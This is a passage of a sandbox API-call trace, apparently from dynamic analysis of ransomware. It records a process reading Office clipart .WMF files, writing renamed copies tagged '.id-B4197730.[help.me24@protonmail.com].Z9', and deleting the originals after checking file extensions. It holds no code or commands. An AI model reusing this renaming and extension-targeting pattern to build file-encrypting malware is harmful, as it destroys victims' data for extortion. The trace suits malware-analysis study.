	[0088.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.891] lstrlenW (lpString=".doc") returned 4
	[0088.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString=".docx") returned 5
	[0088.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.891] lstrlenW (lpString=".pdf") returned 4
	[0088.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString=".xls") returned 4
	[0088.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.891] lstrlenW (lpString=".xlsx") returned 5
	[0088.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.891] lstrlenW (lpString=".ppt") returned 4
	[0088.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.891] lstrlenW (lpString=".zip") returned 4
	[0088.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.892] lstrlenW (lpString=".rar") returned 4
	[0088.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.892] lstrlenW (lpString=".bz2") returned 4
	[0088.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.892] lstrlenW (lpString=".7z") returned 3
	[0088.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.892] lstrlenW (lpString=".dbf") returned 4
	[0088.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.892] lstrlenW (lpString=".1cd") returned 4
	[0088.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.892] lstrlenW (lpString=".jpg") returned 4
	[0088.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.892] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.892] lstrlenW (lpString="BS01635_.WMF") returned 12
	[0088.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.893] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=14996) returned 1
	[0088.893] CloseHandle (hObject=0x38c) returned 1
	[0088.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220
	[0088.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.893] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.893] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0088.894] GetLastError () returned 0x0
	[0088.894] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0088.895] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0088.896] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.896] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.897] SetEndOfFile (hFile=0x388) returned 1
	[0088.897] CloseHandle (hObject=0x388) returned 1
	[0088.898] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.898] SetEndOfFile (hFile=0x38c) returned 1
	[0088.899] CloseHandle (hObject=0x38c) returned 1
	[0088.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1
	[0088.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.899] lstrlenW (lpString=".doc") returned 4
	[0088.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.899] lstrlenW (lpString=".docx") returned 5
	[0088.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.899] lstrlenW (lpString=".pdf") returned 4
	[0088.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString=".xls") returned 4
	[0088.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.900] lstrlenW (lpString=".xlsx") returned 5
	[0088.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.900] lstrlenW (lpString=".ppt") returned 4
	[0088.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.900] lstrlenW (lpString=".zip") returned 4
	[0088.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.900] lstrlenW (lpString=".rar") returned 4
	[0088.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString=".bz2") returned 4
	[0088.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString=".7z") returned 3
	[0088.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.900] lstrlenW (lpString=".dbf") returned 4
	[0088.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.900] lstrlenW (lpString=".1cd") returned 4
	[0088.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.900] lstrlenW (lpString=".jpg") returned 4
	[0088.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.900] lstrlenW (lpString=".doc") returned 4
	[0088.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString=".docx") returned 5
	[0088.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.900] lstrlenW (lpString=".pdf") returned 4
	[0088.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.900] lstrlenW (lpString=".xls") returned 4
	[0088.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.901] lstrlenW (lpString=".xlsx") returned 5
	[0088.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.901] lstrlenW (lpString=".ppt") returned 4
	[0088.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.901] lstrlenW (lpString=".zip") returned 4
	[0088.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.901] lstrlenW (lpString=".rar") returned 4
	[0088.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.901] lstrlenW (lpString=".bz2") returned 4
	[0088.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.901] lstrlenW (lpString=".7z") returned 3
	[0088.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.901] lstrlenW (lpString=".dbf") returned 4
	[0088.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.901] lstrlenW (lpString=".1cd") returned 4
	[0088.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0088.901] lstrlenW (lpString=".jpg") returned 4
	[0088.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.901] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.901] lstrlenW (lpString="BS01636_.WMF") returned 12
	[0088.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0089.068] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1874) returned 1
	[0089.068] CloseHandle (hObject=0x324) returned 1
	[0089.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220
	[0089.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0089.068] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.068] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.072] GetLastError () returned 0x0
	[0089.072] ReadFile (in: hFile=0x324, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x752, lpOverlapped=0x0) returned 1
	[0089.074] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x760, lpOverlapped=0x0) returned 1
	[0089.075] ReadFile (in: hFile=0x324, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.075] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.075] SetEndOfFile (hFile=0x394) returned 1
	[0089.075] CloseHandle (hObject=0x394) returned 1
	[0089.075] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.075] SetEndOfFile (hFile=0x324) returned 1
	[0089.076] CloseHandle (hObject=0x324) returned 1
	[0089.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1
	[0089.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.077] lstrlenW (lpString=".doc") returned 4
	[0089.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.077] lstrlenW (lpString=".docx") returned 5
	[0089.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.077] lstrlenW (lpString=".pdf") returned 4
	[0089.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.077] lstrlenW (lpString=".xls") returned 4
	[0089.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.077] lstrlenW (lpString=".xlsx") returned 5
	[0089.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.077] lstrlenW (lpString=".ppt") returned 4
	[0089.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.077] lstrlenW (lpString=".zip") returned 4
	[0089.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.077] lstrlenW (lpString=".rar") returned 4
	[0089.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.077] lstrlenW (lpString=".bz2") returned 4
	[0089.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.077] lstrlenW (lpString=".7z") returned 3
	[0089.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.077] lstrlenW (lpString=".dbf") returned 4
	[0089.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString=".1cd") returned 4
	[0089.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString=".jpg") returned 4
	[0089.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString=".doc") returned 4
	[0089.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString=".docx") returned 5
	[0089.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.078] lstrlenW (lpString=".pdf") returned 4
	[0089.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString=".xls") returned 4
	[0089.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.078] lstrlenW (lpString=".xlsx") returned 5
	[0089.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.078] lstrlenW (lpString=".ppt") returned 4
	[0089.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString=".zip") returned 4
	[0089.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.078] lstrlenW (lpString=".rar") returned 4
	[0089.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString=".bz2") returned 4
	[0089.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString=".7z") returned 3
	[0089.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString=".dbf") returned 4
	[0089.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString=".1cd") returned 4
	[0089.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0089.078] lstrlenW (lpString=".jpg") returned 4
	[0089.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.079] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.079] lstrlenW (lpString="CRANINST.WMF") returned 12
	[0089.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0089.079] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=49546) returned 1
	[0089.079] CloseHandle (hObject=0x324) returned 1
	[0089.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220
	[0089.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0089.079] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.079] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.080] GetLastError () returned 0x0
	[0089.080] ReadFile (in: hFile=0x324, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xc18a, lpOverlapped=0x0) returned 1
	[0089.082] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xc190, lpOverlapped=0x0) returned 1
	[0089.084] ReadFile (in: hFile=0x324, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.084] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.084] SetEndOfFile (hFile=0x394) returned 1
	[0089.084] CloseHandle (hObject=0x394) returned 1
	[0089.086] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.086] SetEndOfFile (hFile=0x324) returned 1
	[0089.087] CloseHandle (hObject=0x324) returned 1
	[0089.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1
	[0089.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.087] lstrlenW (lpString=".doc") returned 4
	[0089.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.087] lstrlenW (lpString=".docx") returned 5
	[0089.087] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0089.087] lstrlenW (lpString=".pdf") returned 4
	[0089.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.087] lstrlenW (lpString=".xls") returned 4
	[0089.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.087] lstrlenW (lpString=".xlsx") returned 5
	[0089.088] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0089.088] lstrlenW (lpString=".ppt") returned 4
	[0089.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.088] lstrlenW (lpString=".zip") returned 4
	[0089.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.088] lstrlenW (lpString=".rar") returned 4
	[0089.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.088] lstrlenW (lpString=".bz2") returned 4
	[0089.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.088] lstrlenW (lpString=".7z") returned 3
	[0089.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.088] lstrlenW (lpString=".dbf") returned 4
	[0089.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.088] lstrlenW (lpString=".1cd") returned 4
	[0089.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0089.088] lstrlenW (lpString=".jpg") returned 4
	[0089.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
